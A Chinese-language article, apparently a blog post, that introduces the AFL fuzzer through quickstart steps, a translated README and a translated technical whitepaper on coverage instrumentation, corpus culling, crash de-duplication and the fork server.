首先，模糊测试（Fuzzing）是一种测试手段，它把系统看成一个摸不清内部结构的黑盒，只是向其输入接口随机地发送合法测试用例，这些用例并不是开发者所预期的输入，所以极有可能会造成系统的崩溃，通过分析崩溃信息，测试人员（黑客）就可以评估系统是否存在可利用的漏洞。
模糊测试的过程，就好像是一个不断探测系统可以承受的输入极限的过程，让我想起学电子的时候对一个滤波器进行带宽的评估，如果我们知道内部电路原理，那么这个器件对于我们就是白盒了，可以直接通过公式计算理论带宽，现在系统对于我们而言是一个黑盒，我们通过在足够大频率范围内对其不断输入信号，就能测试出其实际带宽。

模糊测试方法一览

0x02 AFL快速入门

1）用make编译AFL。如果构建失败，请参阅docs / INSTALL以获取提示。
2）查找或编写一个相当快速和简单的程序，该程序从文件或标准输入中获取数据，以一种有价值的方式处理它，然后干净地退出。如果测试网络服务，请将其修改为在前台运行并从stdin读取。在对使用校验和的格式进行模糊测试时，也要注释掉校验和验证码。
遇到故障时，程序必须正常崩溃。注意自定义SIGSEGV或SIGABRT处理程序和后台进程。有关检测非崩溃缺陷的提示，请参阅docs/README中的第11节。
3）使用afl-gcc编译要模糊的程序/库。一种常见的方法是：

1
2

$ CC = /path/to/afl-gcc CXX =/path/to/afl-g++ ./configure --disable-shared
$ make clean all

如果程序构建失败，请联系 afl-users@googlegroups.com。
4）获取一个对程序有意义的小而有效的输入文件。在模糊详细语法（SQL，HTTP等）时，也要创建字典，如dictionaries/README.dictionaries中所述。
5）如果程序从stdin读取，则运行afl-fuzz，如下所示：
./afl-fuzz -i testcase_dir -o findings_dir -- /path/to/tested/program [... program's cmdline ...]
如果程序从文件中获取输入，则可以在程序的命令行中输入@@; AFL会为您放置一个自动生成的文件名。

一些参考文档

docs/README - AFL的一般介绍，
docs/perf_tips.txt - 关于如何快速模糊的简单提示，
docs/status_screen.txt - UI中显示的花絮的解释，
docs/parallel_fuzzing.txt - 关于在多个核上运行AFL的建议
Generated test cases for common image formats - 生成图像文件测试用例的demo
Technical “whitepaper” for afl-fuzz - 技术白皮书

适用环境
该工具已确认适用于32位和64位的x86 Linux，OpenBSD，FreeBSD和NetBSD。 它也适用于MacOS X和Solaris，但有一些限制。 它支持用C，C ++或Objective C编写的程序，使用gcc或clang编译。 在Linux上，可选的QEMU模式也允许对黑盒二进制文件进行模糊测试。

AFL的变体和衍生物允许您模糊Python，Go，Rust，OCaml，GCJ Java，内核系统调用，甚至整个虚拟机。 还有一个密切启发的进程模糊器，它在LLVM中运行，并且是一个在Windows上运行的分支。 最后，AFL是OSS-Fuzz背后的模糊引擎之一。

哦 - 如果你安装了gnuplot，你可以使用afl-plot来获得漂亮的进度图。

0x03 AFL特点

1. 非常复杂。它是一种插桩器（instrumentation）引导的遗传模糊器，能够在各种非平凡的目标中合成复杂的文件语义，减少了对专用的语法识别工具的需求。它还带有一个独特的崩溃浏览器，一个测试用例最小化器，一个故障触发分配器和一个语法分析器 - 使评估崩溃错误的影响变得简单。
2. 智能。它围绕一系列经过精心研究，高增益的测试用例预处理和模糊测试策略而构建，在其他模糊测试框架中很少采用与之相当的严格性。结果，它发现了真正的漏洞。
3. 它很快。由于其低级编译时间或仅二进制检测和其他优化，该工具提供了针对常见现实世界目标的近原生或优于原生的模糊测试速度。新增的持久模式允许在最少的代码修改的帮助下，对许多程序进行异常快速的模糊测试。
4. 可以链接到其他工具。模糊器可以生成优质，紧凑的测试语料库，可以作为更专业，更慢或劳动密集型流程和测试框架的种子。它还能够与任何其他软件进行即时语料库同步。

0x04 AFL README

Written and maintained by Michal Zalewski lcamtuf@google.com

Copyright 2013, 2014, 2015, 2016 Google Inc. All rights reserved.
Released under terms and conditions of Apache License, Version 2.0.

For new versions and additional information, check out:
http://lcamtuf.coredump.cx/afl/

To compare notes with other users or get notified about major new features,
send a mail to afl-users+subscribe@googlegroups.com.

See QuickStartGuide.txt if you don’t have time to read this file.

1）具有导向性的模糊测试的挑战

Fuzzing是用于识别真实软件中的安全问题的最强大且经过验证的策略之一;它负责安全关键软件中迄今为止发现的绝大多数远程代码执行和权限提升漏洞。
不幸的是，模糊测试也不够有力。盲目的、随机的变异使得它不太可能在测试代码中达到某些代码路径，从而使一些漏洞超出了这种技术的范围。
已经有许多尝试来解决这个问题。早期方法之一 - 由Tavis Ormandy开创 - 是一种 语义库蒸馏（corpus distillation） 。网上找到的一些大型语料库中往往包含大量的文件，这时就需要对其精简，该方法依赖于覆盖信号从大量高质量的候选文件语料库中选择有趣种子的子集，然后通过传统方式对其进行模糊处理。该方法非常有效，但需要这样的语料库随时可用。正因为如此，代码覆盖率 也只是衡量程序执行状态的一个简单化的度量，这种方式并不适合后续引导fuzzing测试的。
其他更复杂的研究集中在诸如 程序流分析（“concoic execution”），符号执行或静态分析 等技术上。所有这些方法在实验环境中都非常有前景，但在实际应用中往往会遇到可靠性和性能问题 - 部分高价值的程序都有非常复杂的内部状态和执行路径，在这一方面符号执行和concolic技术往往会显得不够健壮（如路径爆炸问题），所以仍然稍逊于传统的fuzzing技术。

2）afl-fuzz方法

American Fuzzy Lop是一种暴力模糊测试，配有极其简单但坚如磐石的 引导遗传算法 。它使用修改后的边覆盖率，轻松地获取程序控制流程的细微局部变化。
简化一下，整体算法可以概括为：

• 1）将用户提供的初始测试用例加载到队列中，
• 2）从队列中获取下一个输入文件，
• 3）尝试将测试用例修剪到不会改变程序测量行为的最小尺寸，
• 4）使用平衡且经过充分研究的各种传统模糊测试策略反复改变文件，
• 5）如果任何生成的编译导致由instrumentation记录的新状态转换，则将变异输出添加为队列中的新条目。
• 6）转到2。

发现的测试用例也会定期被淘汰，以消除那些被更新，更高覆盖率的发现所淘汰的测试用例。并经历其他几个插桩驱动（instrumentation-driven）的努力最小化步骤。
作为模糊测试过程的一个副作用，该工具创建了一个小型，独立的有趣测试用例集。这些对于播种其他劳动力或资源密集型测试方案非常有用 - 例如，用于压力测试浏览器，办公应用程序，图形套件或闭源工具。
该模糊器经过全面测试，可提供远远优于盲目模糊或仅覆盖工具的开箱即用性能。

3）用于AFL的插桩（instrumentation）程序

当源代码可用时，可以通过配套工具 注入instrumentation ，该工具可作为第三方代码的任何标准构建过程中gcc或clang的替代品。
instrumentation具有相当适度的性能影响;与afl-fuzz实现的其他优化相结合，大多数程序可以像传统工具一样快速或甚至更快地进行模糊测试。

重新编译目标程序 的正确方法可能会有所不同，具体取决于构建过程的具体情况，但几乎通用的方法是：

1
2
3

$ CC = /path/to/afl/afl-gcc ./configure
$ make clean all
对于C ++程序，您还需要将CXX = / path /设置为/ afl / afl g ++。

clang组件（afl-clang和afl-clang ++）可以以相同的方式使用; clang用户也可以选择利用更高性能的检测模式，如llvm_mode / README.llvm中所述。

在测试库时，您需要查找或编写一个简单的程序，该程序从stdin或文件中读取数据并将其传递给测试的库。在这种情况下，必须 将此可执行文件与已检测库的静态版本相链接 ，或者确保在运行时加载正确的.so文件（通常通过设置LD_LIBRARY_PATH）。最简单的选项是 静态构建 ，通常可以通过以下方式实现：

1

$ CC = /path/to/afl/afl-gcc ./configure --disable-shared

调用make时设置AFL_HARDEN = 1将导致CC组件自动启用代码强化选项，以便更容易检测到简单的内存错误。 Libdislocator，AFL附带的帮助程序库（请参阅libdislocator / README.dislocator）也可以帮助发现堆损坏问题。
PS。建议ASAN用户查看notes_for_asan.txt文件以获取重要警告。

4）检测仅二进制应用程序

当源代码为不可得时，afl为黑盒二进制文件的快速、即时检测提供实验支持。 这是通过在较不为人知的“用户空间仿真”模式下运行的QEMU版本来实现的。
QEMU是一个独立于AFL的项目，但您可以通过以下方式方便地构建该功能：

1
2

$ cd qemu_mode
$ ./build_qemu_support.sh

有关其他说明和注意事项，请参阅qemu_mode / README.qemu。
该模式比编译时插桩（instrumentation）慢约2-5倍，对并行化的兼容较差，并且可能有一些其他的不同。

5）选择初始测试用例

为了正确操作，模糊器需要一个或多个起始文件，其中包含目标应用程序通常所需的输入数据的良好示例。 有两个基本规则：

测试用例足够小。 1 kB以下是理想的，尽管不是绝对必要的。 有关大小重要性的讨论，请参阅perf_tips.txt。

只有在功能上彼此不同时才使用多个测试用例。 使用五十张不同的度假照片来模糊图像库是没有意义的。
您可以在此工具附带的testcases/子目录中找到许多启动文件的好例子。
PS。 如果有大量数据可用于筛选，您可能希望使用afl-cmin实用程序来识别在目标二进制文件中使用不同代码路径的功能不同的文件的子集。

6）模糊测试二进制文件

测试过程本身由afl-fuzz实用程序执行。该程序需要一个带有初始测试用例的只读目录，一个存储其输出结果的独立位置，以及要测试的二进制文件的路径。
对于直接从 stdin 接受输入的目标二进制文件，通常的语法是：

1

$ ./afl-fuzz -i testcase_dir -o findings_dir /path/to/program [... params ...]

对于从 文件 中获取输入的程序，使用“@@”标记目标命令行中应放置输入文件名的位置。模糊器将替换为您：

1

$ ./afl-fuzz -i testcase_dir -o findings_dir /path/to/program @@

您还可以使用-f选项将变异数据写入特定文件。如果程序需要特定的文件扩展名，那么这很有用。
非插桩二进制文件可以在QEMU模式下（在命令行中添加-Q）或在传统的盲目模糊模式（指定-n）中进行模糊测试。
您可以使用-t和-m覆盖已执行进程的默认超时和内存限制;
perf_tips.txt中讨论了优化模糊测试性能的技巧。

请注意，afl-fuzz首先执行一系列确定性模糊测试步骤，这可能需要几天时间，但往往会产生整齐的测试用例。如果你想要快速结果 - 类似于zzuf和其他传统的模糊器 - 在命令行中添加-d选项。

7）解释输出

有关如何解释显示的统计信息以及监视进程运行状况的信息，请参阅status_screen.txt文件。请务必查阅此文件，尤其是如果任何UI元素以红色突出显示。
模糊过程将持续到按Ctrl-C为止。至少，您希望允许模糊器完成一个队列周期，这可能需要几个小时到一周左右的时间。
在输出目录中创建了三个子目录并实时更新：

• 队列queue/ - 测试每个独特执行路径的案例，以及用户提供的所有起始文件。这是第2节中提到的合成语料库。在将此语料库用于任何其他目的之前，您可以使用afl-cmin工具将其缩小到较小的大小。该工具将找到一个较小的文件子集，提供相同的边缘覆盖。
• 崩溃crash/ - 导致被测程序接收致命信号的独特测试用例（例如，SIGSEGV，SIGILL，SIGABRT）。条目按接收信号分组。
• 挂起hang/ - 导致测试程序超时的独特测试用例。将某些内容归类为挂起之前的默认时间限制是1秒内的较大值和-t参数的值。可以通过设置AFL_HANG_TMOUT来微调该值，但这很少是必需的。崩溃和挂起被视为“唯一” “如果相关的执行路径涉及在先前记录的故障中未见的任何状态转换。如果可以通过多种方式达到单个错误，那么在此过程中会有一些计数通货膨胀，但这应该会迅速逐渐减少。

崩溃和挂起的文件名与父、非错误的队列条目相关联。这应该有助于调试。
如果无法重现 afl-fuzz 发现的崩溃，最可能的原因是您没有设置与工具使用的内存限制相同的内存限制。尝试：

1
2

$ LIMIT_MB = 50
$（ulimit -Sv $ [LIMIT_MB << 10]; /path/to/tested_binary ...）

更改LIMIT_MB以匹配传递给afl-fuzz的-m参数。在OpenBSD上，也将-Sv更改为-Sd。任何现有的输出目录也可用于恢复中止的作业;
尝试：$ ./afl-fuzz -i-o_ existing_output_dir [...etc...]
如果安装了gnuplot，您还可以使用afl-plot为任何活动的模糊测试任务生成一些漂亮的图形。有关如何显示的示例，请参阅 http://lcamt​​uf.coredump.cx/afl/plot/ 。

8）并行模糊测试

每个afl-fuzz的实例大约占用一个核。 这意味着在多核系统上，并行化是充分利用硬件所必需的。
有关如何在多个核心或多个联网计算机上模糊常见目标的提示，请参阅parallel_fuzzing.txt。
并行模糊测试模式 还提供了一种简单的方法，用于将AFL连接到其他模糊器，动态符号执行（concrete and symbolic， concolic execution）引擎等等; 再次，请参阅 parallel_fuzzing.txt的最后一节以获取提示。

9）Fuzzer词典

默认情况下，afl-fuzz变异引擎针对紧凑数据格式进行了优化 - 例如，图像，多媒体，压缩数据，正则表达式语法或shell脚本。它有点不太适合具有特别冗长和冗余的语言的语言 - 特别是包括HTML，SQL或JavaScript。
为了避免构建语法感知工具的麻烦，afl-fuzz提供了一种方法，使用与目标数据类型相关联的其他特殊标记的语言关键字，魔术头或可选字典为模糊测试过程设定种子，并使用它来重建底层随时随地的语法：http://lcamt​​uf.blogspot.com/2015/01/afl-fuzz-making-up-grammar-with.html
要使用此功能，首先需要使用dictionaries/README.dictionaries中讨论的两种格式之一创建字典;然后通过命令行中的-x选项将模糊器指向它。（该子目录中也已提供了几个常用字典。）
没有办法提供基础语法的更多结构化描述，但模糊器可能会根据instrumentation反馈单独找出一些。这实际上在实践中有效，比如说：
http://lcamt​​uf.blogspot.com/2015/04/finding-bugs-in-sqlite-easy-way.html
PS。即使没有给出明确的字典，afl-fuzz也会尝试通过在确定性字节翻转期间非常接近地观察instrumentation来提取输入语料库中的现有语法标记。这适用于某些类型的解析器和语法，但不如-x模式好。
如果字典真的很难找到，另一个选择是让AFL运行一段时间，然后使用作为AFL伴随实用程序的令牌捕获库。为此，请参阅libtokencap/README.tokencap。

10）崩溃分类

基于coverage的崩溃分组通常会生成一个小型数据集，可以手动或使用非常简单的GDB或Valgrind脚本快速进行分类。每次崩溃都可以追溯到队列中的父级非崩溃测试用例，从而更容易诊断故障。
话虽如此，重要的是要承认，如果没有大量的调试和代码分析工作，一些模糊的崩溃很难快速评估可利用性。为了帮助完成这项任务，afl-fuzz支持使用-C标志启用的非常独特的“崩溃探索”模式。
在此模式下，模糊器将一个或多个崩溃测试用例作为输入，并使用其反馈驱动的模糊测试策略，非常快速地枚举程序中可以达到的所有代码路径，同时使其保持在崩溃状态。
不会导致崩溃的变异会被拒绝;任何不影响执行路径的更改也是如此。
输出是一个小文件集，可以非常快速地检查以查看攻击者对错误地址的控制程度，或者是否有可能超过初始越界读取，并查看下面的内容。

哦，还有一件事：对于测试用例最小化，请尝试afl-tmin。该工具可以以非常简单的方式操作：
$ ./afl-tmin -i test_case -o minimize_result - /path/to/program [...]

该工具适用于崩溃和非崩溃的测试用例。在崩溃模式下，它将很乐意接受 instrumented 和 non-instrumented 的二进制文件。在非崩溃模式下，最小化器依赖于标准AFL检测来使文件更简单而不改变执行路径。minimizer与afl-fuzz兼容的方式接受-m，-t，-f和@@语法。如果指定了参数-x，即crash mode，会把导致程序非正常退出的文件直接剔除。

AFL的另一个新成员是afl-analyze工具。需要输入文件，尝试按顺序翻转字节，并观察测试程序的行为。然后根据哪些部分看起来是关键的，哪些部分不是关键的，对输入进行颜色编码;虽然不是万能，但它通常可以提供对复杂文件格式的快速见解。有关其操作的更多信息可以在technical_details.txt的末尾找到。

11）超越崩溃

模糊测试是一种很好的，未充分利用的技术，用于发现非崩溃的设计和实现错误。通过修改目标程序调用abort()时发现了一些有趣的错误，比如：

• 当给出相同的模糊输入时，两个bignum库产生不同的输出，
• 当要求连续多次解码相同的输入图像时，图像库会产生不同的输出，
• 在对模糊提供的数据进行迭代序列化和反序列化时，序列化/反序列化库无法生成稳定的输出，
• 当要求压缩然后解压缩特定blob时，压缩库会生成与输入文件不一致的输出。实施这些或类似的健全性检查通常只需要很少的时间;如果你是特定包的维护者，你可以使用#ifdef FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION（一个也与libfuzzer共享的标志）或#ifdef __AFL_COMPILER（这个只适用于AFL）来使这个代码成为条件。

12）常识性风险

请记住，与许多其他计算密集型任务类似，模糊测试可能会给您的硬件和操作系统带来压力。特别是：

• 你的CPU会很热，需要充分冷却。在大多数情况下，如果冷却不足或停止正常工作，CPU速度将自动受到限制。也就是说，尤其是在不太合适的硬件（笔记本电脑，智能手机等）上进行模糊测试时，某些事情并非完全不可能爆发。
• 有针对性的程序可能最终不正常地抓取千兆字节的内存或用垃圾文件填满磁盘空间。 AFL试图强制执行基本的内存限制，但不能阻止每一个可能的事故。最重要的是，您不应该对数据丢失前景不可接受的系统进行模糊测试。
• 模糊测试涉及数十亿次对文件系统的读写操作。在现代系统中，这通常会被高度缓存，导致相当适度的“物理”I/O - 但是有许多因素可能会改变这个等式。您有责任监控潜在的问题; I / O非常繁重，许多HDD和SSD的使用寿命可能会缩短。监视Linux上磁盘I/O的一种好方法是’iostat’命令：$ iostat -d 3 -x -k [...可选磁盘ID ...]

13）已知的限制和需要改进的领域

以下是AFL的一些最重要的警告：

• AFL通过检查由于信号（SIGSEGV，SIGABRT等）而导致的第一个衍生过程死亡来检测故障。为这些信号安装自定义处理程序的程序可能需要注释掉相关代码。同样，由模糊目标产生的子处理中的故障可能会逃避检测，除非您手动添加一些代码来捕获它。
• 与任何其他强力工具一样，如果使用加密，校验和，加密签名或压缩来完全包装要测试的实际数据格式，则模糊器提供有限的覆盖范围。要解决这个问题，你可以注释掉相关的检查（参见experimental / libpng_no_checksum /获取灵感）;如果这是不可能的，你也可以编写一个后处理器，如experimental / post_library /中所述。
• ASAN和64位二进制文​​件存在一些不幸的权衡。这不是因为任何特定的模糊错误;请参阅notes_for_asan.txt以获取提示。
• 没有直接支持模糊网络服务，后台守护程序或需要UI交互才能工作的交互式应用程序。您可能需要进行简单的代码更改，以使它们以更传统的方式运行。 Preeny也可以提供一个相对简单的选项 - 请参阅：https://github.com/zardus/preeny
  有关修改基于网络的服务的一些有用提示也可以在以下位置找到：
  https://www.fastly.com/blog/how-to-fuzz-server-american-fuzzy-lop
• AFL不输出人类可读的覆盖数据。如果你想监控覆盖，请使用Michael Rash的afl-cov：https：//github.com/mrash/afl-cov
• 偶尔，敏感的机器会对抗他们的创造者。如果您遇到这种情况，请访问http://lcamt​​uf.coredump.cx/prep/。除此之外，请参阅安装以获取特定于平台的提示。

0x05 afl-fuzz白皮书

本文档提供了American Fuzzy Lop的简单的概述。想了解一般的使用说明，请参见 README 。想了解AFL背后的动机和设计目标，请参见 historical_notes.txt。

0）设计说明(Design statement)

American Fuzzy Lop 不关注任何单一的操作规则(singular principle of operation)，也不是一个针对任何特定理论的概念验证(proof of concept)。这个工具可以被认为是一系列在实践中测试过的hacks行为，我们发现这个工具惊人的有效。我们用目前最simple且最robust的方法实现了这个工具。
唯一的设计宗旨在于速度、可靠性和易用性。

1）覆盖率计算(Coverage measurements)

在编译过的程序中插桩能够捕获分支（边缘）的覆盖率，并且还能检测到粗略的分支执行命中次数(branch-taken hit counts)。在分支点注入的代码大致如下：

1
2
3

cur_location = <COMPILE_TIME_RANDOM>;            //用一个随机数标记当前基本块
shared_mem[cur_location ^ prev_location]++;        //将当前块和前一块异或保存到shared_mem[]
prev_location = cur_location >> 1;                //cur_location右移1位区分从当前块到当前块的转跳

cur_location 的值是随机产生的，为的是简化连接复杂对象的过程和保持XOR输出分布是均匀的。
shared_mem[] 数组是一个调用者 (caller) 传给被插桩的二进制程序的64kB的共享空间。其中的每一字节可以理解成对于插桩代码中特别的元组(branch_src, branch_dst)的一次命中（hit）。
选择这个数组大小的原因是让冲突(collisions)尽可能减少。这样通常能处理2k到10k的分支点。同时，它的大小也足以使输出图能在接受端达到毫秒级的分析。

这种形式的覆盖率，相对于简单的基本块覆盖率来说，对程序运行路径提供了一个更好的描述(insight)。特别地，它能很好地区分以下两个执行路径：

A -> B -> C -> D -> E (tuples: AB, BC, CD, DE)
A -> B -> D -> C -> E (tuples: AB, BD, DC, CE)

这有助于发现底层代码的微小错误条件。因为 安全漏洞通常是一些非预期(或不正确)的语句转移(一个tuple就是一个语句转移) ，而不是没覆盖到某块代码。
上边伪代码的最后一行移位操作是为了让tuple具有定向性(没有这一行的话，A^B和B^A就没区别了，同样，A^A和B^B也没区别了)。采用右移的原因跟Intel CPU的一些特性有关。

2）发现新路径(Detecting new behaviors)

AFL的fuzzers使用一个全局Map来存储之前执行时看到的tuple。这些数据可以被用来对不同的trace进行快速对比，从而可以计算出是否新执行了一个dword指令/一个qword-wide指令/一个简单的循环。
当一个变异的输入产生了一个包含新tuple的执行路径时，对应的输入文件就被保存，然后被发送到下一过程(见第3部分)。对于那些没有产生新路径的输入，就算他们的instrumentation输出模式是不同的，也会被抛弃掉。
这种算法考虑了一个非常细粒度的、长期的对程序状态的探索，同时它还不必执行复杂的计算，不必对整个复杂的执行流进行对比，也避免了路径爆炸的影响。
为了说明这个算法是怎么工作的，考虑下面的两个路径，第二个路径出现了新的tuples(CA, AE):

1
2

#1: A -> B -> C -> D -> E
#2: A -> B -> C -> A -> E

因为#2的原因，以下的路径就不认为是不同的路径了，尽管看起来非常不同：
#3: A -> B -> C -> A -> B -> C -> A -> B -> C -> D -> E

除了检测新的tuple之外，AFL的fuzzer也会粗略地记录tuple的命中数(hit counts)。这些被分割成几个buckets：1, 2, 3, 4-7, 8-15, 16-31, 32-127, 128+

从某种意义来说，buckets里边的数目是有实际意义的：它是一个8-bit counter和一个8-position bitmap的映射。8-bit counter是由桩生成的，8-position bitmap则依赖于每个fuzzer记录的已执行的tuple的命中数。
单个bucket的改变会被忽略掉: 在程序控制流中，bucket的转换会被标记成一个interesting change，传入evolutionary(见第三部分)进行处理。
通过命中次数(hit count)，我们能够分辨控制流是否发生变化。例如一个代码块被执行了两次，但只命中了一次。并且这种方法对循环的次数不敏感(循环47次和48次没区别)。
这种算法通过限制内存和运行时间来保证效率。

另外，算法通过设置执行超时，来避免效率过低的fuzz。从而进一步发现效率比较高的fuzz方式。

3）输入队列的进化(Evolving the input queue)

经变异的测试用例，会使程序产生 新的状态转移 。这些测试用例稍后被添加到 input 队列中，用作下一个 fuzz 循环。它们补充但不替换现有的发现。
这种算法允许工具可以持续探索不同的代码路径，即使底层的数据格式可能是完全不同的。如下图：

这里有一些这种算法在实际情况下例子：

pulling-jpegs-out-of-thin-air

afl-fuzz-nobody-expects-cdata-sections

这种过程下产生的语料库基本上是这些输入文件的集合：它们都能触发一些新的执行路径。产生的语料库，可以被用来作为其他测试的种子。
使用这种方法，大多数目标程序的队列会增加到大概1k到10k个entry。大约有10-30%归功于对新tupe的发现，剩下的和hit counts改变有关。
下表比较了不同 fuzzing 方法在发现文件句法(file syntax)和探索程序执行路径的能力。插桩的目标程序是 GNU patch 2.7.3 compiled with -O3 and seeded with a dummy text file:

第一行的blind fuzzing (“S”)代表仅仅执行了一个回合的测试。
第二行的Blind fuzzing L表示在一个循环中执行了几个回合的测试，但是没有进行改进。和插桩运行相比，需要更多时间全面处理增长队列。

在另一个独立的实验中也取得了大致相似的结果。在新实验中，fuzzer被修改成所有随机fuzzing 策略，只留下一系列基本、连续的操作，例如位反转(bit flips)。因为这种模式（mode）将不能改变输入文件的的大小，会话使用一个合法的合并格式（unified diff）作为种子。

在之前提到的基于遗传算法的fuzzing，是通过一个test case的进化(这里指的是用遗传算法进行变异)来实现最大覆盖。在上述实验看来，这种“贪婪”的方法似乎没有为盲目的模糊策略带来实质性的好处。

4）语料筛选（Culling the corpus）

上文提到的渐进式语句探索路径的方法意味着：假设A和B是测试用例(test cases)，且B是由A变异产生的。那么测试用例B达到的边缘覆盖率(edge coverage)是测试用例A达到的边缘覆盖率的严格超集(superset)。
为了优化fuzzing，AFL会用一个快速算法周期性的重新评估(re-evaluates)队列，这种算法会选择队列的一个更小的子集，并且这个子集仍能覆盖所有的tuple。算法的这个特性对这个工具特别有利(favorable)。
算法通过指定每一个队列入口(queue entry)，根据执行时延（execution latency）和文件大小分配一个分值比例（score proportional）。然后为每一个tuple选择最低分值的entry。
这些tuples按下述流程进行处理：

1
2
3
4
5
6
7

1) Find next tuple not yet in the temporary working set,

2) Locate the winning queue entry for this tuple,

3) Register *all* tuples present in that entry's trace in the working set,

4) Go to #1 if there are any missing tuples in the set.

“favored” entries 产生的语料，会比初始的数据集小5到10倍。没有被选择的也没有被扔掉，而是在遇到下列对队列时，以一定概率略过：

1
2
3
4
5
6
7
8

- If there are new, yet-to-be-fuzzed favorites present in the queue,
  99% of non-favored entries will be skipped to get to the favored ones.

- If there are no new favorites:

- If the current non-favored entry was fuzzed before, it will be skipped 95% of the time.

- If it hasn't gone through any fuzzing rounds yet, the odds of skipping drop down to 75%.

基于以往的实验经验，这种方法能够在队列周期速度(queue cycling speed)和测试用例多样性(test case diversity)之间达到一个合理的平衡。
使用afl-cmin工具能够对输入或输出的语料库进行稍微复杂但慢得多的的处理。这一工具将永久丢弃冗余entries，产生适用于afl-fuzz或者外部工具的更小的语料库。

5）输入文件修剪（Trimming input files）

文件的大小对fuzzing的性能有着重大影响(dramatic impact)。因为大文件会让目标二进制文件运行变慢；大文件还会减少变异触及重要格式控制结构(format control structures)的可能性(我们希望的是变异要触及冗余代码块(redundant data blocks))。这个问题将在perf_tips.txt细说。
用户可能提供低质量初始语料(starting corpus)，某些类型的变异会迭代地增加生成文件的大小。所以要抑制这种趋势(counter this trend)。
幸运的是，插桩反馈(instrumentation feedback)提供了一种简单的方式自动削减（trim down）输入文件，并确保这些改变能使得文件对执行路径没有影响。
afl-fuzz内置的修剪器(trimmer)使用变化的长度和步距(variable length and stepover)来连续地(sequentially)删除数据块；任何不影响trace map的校验和(checksum)的删除块将被提交到disk。
这个修剪器的设计并不算特别地周密(thorough)，相反地，它试着在精确度(precision)和进程调用execve()的次数之间选取一个平衡，找到一个合适的block size和stepover。平均每个文件将增大约5-20%。
独立的afl-tmin工具使用更完整(exhaustive)、迭代次数更多(iteractive)的算法，并尝试对被修剪的文件采用字母标准化的方式处理。

6) 模糊测试策略(Fuzzing strategies)

插桩提供的反馈(feedback)使得我们更容易理解各种不同fuzzing策略的价值，从而优化(optimize)他们的参数。使得他们对不同的文件类型都能同等地进行工作。afl-fuzz用的策略通常是与格式无关（format-agnostic），详细说明在下边的连接中：
binary-fuzzing-strategies-what-works
值得注意的一点是，afl-fuzz大部分的(尤其是前期的)工作都是高度确定的(highly deterministic)，随机性修改和测试用例拼接(random stacked modifications和test case splicing)只在后期的部分进行。 确定性的策略 包括：

1
2
3
4
5

- Sequential bit flips with varying lengths and stepovers,使用变化的长度和步距来连续进行位反转

- Sequential addition and subtraction of small integers,对小的整型数来连续进行加法和减法

- Sequential insertion of known interesting integers (0, 1, INT_MAX, etc),对已知的感兴趣的整型数连续地插入

使用这些确定步骤的目的在于，生成紧凑的(compact)测试用例，以及在产生non-crashing的输入和产生crashing的输入之间，有很小的差异(small diffs)。
非确定性(non-deterministic)策略 的步骤包括：stacked bit flips、插入(insertions)、删除(deletions)、算数(arithmetics)和不同测试用例之间的拼接(splicing)。

由于在historical_notes.txt 中提到的原因(性能、简易性、可靠性)，AFL通常不试图去推断某个特定的变异(specific mutations)和程序状态(program states)的关系。

fuzzing的步骤名义上来说是盲目的(nominally blind)，只被输入队列的进化方式的设计所影响(见第三部分)。

这意味着，这条规则有一个例外：
当一个新的队列条目，经过初始的确定性fuzzing步骤集合时，并且文件的部分区域被观测到对执行路径的校验和没有影响，这些队列条目在接下来的确定性fuzzing阶段可能会被排除。
尤其是对那些冗长的数据格式，这可以在保持覆盖率不变的情况下，减少10-40%的执行次数。在一些极端情况下，比如一些block-aligned的tar文件，这个数字可以达到90%。

7) 字典(Dictionaries)

插桩提供的反馈能够让它自动地识别出一些输入文件中的语法(syntax)符号(tokens)，并且能够为测试器(tested parser)检测到一些组合，这些组合是由预定义(predefined)的或自动检测到的(auto-detected)字典项(dictionary terms)构成的合法语法(valid grammar)。
关于这些特点在afl-fuzz是如何实现的，可以看一下这个链接：
afl-fuzz-making-up-grammar-with
大体上，当基本的(basic, typically easily-obtained)句法(syntax)符号(tokens)以纯粹随机的方式组合在一起时，插桩和队列进化这两种方法共同提供了一种反馈机制，这种反馈机制能够区分无意义的变异和在插桩代码中触发新行为的变异。这样能增量地构建更复杂的句法(syntax)。
这样构建的字典能够让fuzzer快速地重构非常详细(highly verbose)且复杂的(complex)语法，比如JavaScript, SQL,XML。一些生成SQL语句的例子已经在之前提到的博客中给出了。
有趣的是，AFL的插桩也允许fuzzer自动地隔离(isolate)已经在输入文件中出现过的句法(syntax)符号(tokens)。

8) 崩溃去重（De-duping crashes）

崩溃去重是fuzzing工具里很重要的问题之一。很多naive的解决方式都会有这样的问题：如果这个错误发生在一个普通的库函数中(如say, strcmp, strcpy)，只关注出错地址(faulting address)的话，那么可能导致一些完全不相关的问题被分在一类(clustered together)。如果错误发生在一些不同的、可能递归的代码路径中，那么校验和(checksumming)调用栈回溯(call stack backtraces)时可能导致crash count inflation(通胀)。

afl-fuzz的解决方案认为满足一下两个条件，那么这个crash就是唯一的(unique)：

1
2

- The crash trace includes a tuple not seen in any of the previous crashes,这个crash的路径包括一个之前crash从未见到过的tuple。
- The crash trace is missing a tuple that was always present in earlier faults.这个crash的路径不包含一个总在之前crash中出现的tuple。

这种方式一开始容易受到count inflation的影响，但实验表明其有很强的自我限制效果。和执行路径分析一样，这种 崩溃去重 的方式是afl-fuzz的基石(cornerstone)。

9) 崩溃调查(Investigating crashes)

不同的crash的可用性(exploitability)是不同的。afl-fuzz提供一个crash的探索模式(exploration mode)来解决这个问题。
对一个已知的出错测试用例，它被fuzz的方式和正常fuzz的操作没什么不同，但是有一个限制能让任何non-crashing 的变异(mutations)会被丢弃(thrown away)。
这种方法的意义在以下链接中会进一步讨论：
afl-fuzz-crash-exploration-mode
这种方法利用instrumentation的反馈，探索crash程序的状态，从而进一步通过歧义性的失败条件，找到了最新发现的input。
对于crashes来说，值得注意的是和正常的队列条目对比，导致crash的input没有被去掉，为了和它们的父条目（队列中没有导致crash的条目）对比，它们被保存下来，
这就是说afl-tmin可以被用来随意缩减它们。

10) The fork server

为了提升性能，afl-fuzz使用了一个”fork server”，fuzz的进程只进行一次execve(), 连接(linking), 库初始化(libc initialization)。fuzz进程通过copy-on-write(写时拷贝技术)从已停止的fuzz进程中clone下来。实现细节在以下链接中：
fuzzing-binaries-without-execve
fork server被集成在了instrumentation的程序下，在第一个instrument函数执行时，fork server就停止并等待afl-fuzz的命令。
对于需要快速发包的测试，fork server可以提升1.5到2倍的性能。

11) 并行机制

实现并行的机制是，定期检查不同cpu core或不同机器产生的队列，然后有选择性的把队列中的条目放到test cases中。
详见： parallel_fuzzing.txt.

